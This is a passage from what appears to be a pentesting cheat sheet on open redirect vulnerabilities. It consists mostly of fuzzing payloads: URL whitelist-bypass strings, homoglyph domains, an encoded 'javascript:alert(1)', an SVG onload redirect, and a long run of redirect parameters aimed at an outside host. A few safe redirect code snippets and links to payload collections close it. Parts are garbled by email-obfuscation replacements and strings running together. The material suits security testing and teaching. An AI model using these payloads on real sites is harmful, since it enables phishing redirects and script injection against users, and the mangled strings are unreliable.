protected]/%2f%2e%2e//whitelisted.com+&@google.com#[email protected]///[email protected]:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e//[email protected]:///google.com/%2e%2e//whitelisted.com+&@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#[email protected]/\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)//XY>.7d8T\[email protected]@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///XY>.7d8T\[email protected][email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///XY>.7d8T\[email protected]@google.com///XY>.7d8T\[email protected][email protected]/
<code><?xml version="1.0" encoding="UTF-8" standalone="yes"?><svgonload="window.location='http://www.example.com'"xmlns="http://www.w3.org/2000/svg"></svg></code>
/{payload}?next={payload}?url={payload}?target={payload}?rurl={payload}?dest={payload}?destination={payload}?redir={payload}?redirect_uri={payload}?redirect_url={payload}?redirect={payload}/redirect/{payload}/cgi-bin/redirect.cgi?{payload}/out/{payload}/out?{payload}?view={payload}/login?to={payload}?image_url={payload}?go={payload}?return={payload}?returnTo={payload}?return_to={payload}?checkout_url={payload}?continue={payload}?return_path={payload}success=https://c1h2e1.github.iodata=https://c1h2e1.github.ioqurl=https://c1h2e1.github.iologin=https://c1h2e1.github.iologout=https://c1h2e1.github.ioext=https://c1h2e1.github.ioclickurl=https://c1h2e1.github.iogoto=https://c1h2e1.github.iorit_url=https://c1h2e1.github.ioforward_url=https://c1h2e1.github.io@https://c1h2e1.github.ioforward=https://c1h2e1.github.iopic=https://c1h2e1.github.iocallback_url=https://c1h2e1.github.iojump=https://c1h2e1.github.iojump_url=https://c1h2e1.github.ioclick?u=https://c1h2e1.github.iooriginUrl=https://c1h2e1.github.ioorigin=https://c1h2e1.github.ioUrl=https://c1h2e1.github.iodesturl=https://c1h2e1.github.iou=https://c1h2e1.github.iopage=https://c1h2e1.github.iou1=https://c1h2e1.github.ioaction=https://c1h2e1.github.ioaction_url=https://c1h2e1.github.ioRedirect=https://c1h2e1.github.iosp_url=https://c1h2e1.github.ioservice=https://c1h2e1.github.iorecurl=https://c1h2e1.github.ioj?url=https://c1h2e1.github.iourl=//https://c1h2e1.github.iouri=https://c1h2e1.github.iou=https://c1h2e1.github.ioallinurl:https://c1h2e1.github.ioq=https://c1h2e1.github.iolink=https://c1h2e1.github.iosrc=https://c1h2e1.github.iotc?src=https://c1h2e1.github.iolinkAddress=https://c1h2e1.github.iolocation=https://c1h2e1.github.ioburl=https://c1h2e1.github.iorequest=https://c1h2e1.github.iobackurl=https://c1h2e1.github.ioRedirectUrl=https://c1h2e1.github.ioRedirect=https://c1h2e1.github.ioReturnUrl=https://c1h2e1.github.io
response.redirect("~/mysafe-subdomain/login.aspx")
response.redirect("http://mysafedomain.com");
<?php/* browser redirections*/header("Location: http://mysafedomain.com");exit;?>
In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect you can find fuzzing lists. https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html https://github.com/cujanovic/Open-Redirect-Payloads
Last updated 1 month ago